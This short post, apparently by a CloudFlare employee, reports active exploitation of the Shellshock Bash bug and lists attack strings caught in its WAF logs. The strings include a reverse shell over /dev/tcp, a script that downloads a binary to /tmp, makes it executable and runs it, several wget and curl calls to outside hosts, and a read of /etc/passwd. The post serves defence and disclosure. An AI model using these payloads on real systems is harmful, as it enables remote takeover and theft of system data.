Everything you need to know about the Shellshock Bash bug
This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like:    () { :;}; /bin/ping -c 1 198.x.x.x
    () { :;}; echo shellshock-scan > /dev/udp/example.com/1234
    () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
    () { test;};/usr/bin/wget http://example.com/music/file.mp3 -O ~/cgi-bin/file.mp3
    () { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011
    () { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt
    () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
    () { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -O /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &

If you are one of our (paying) customers the rules to block this exploit are enabled automatically.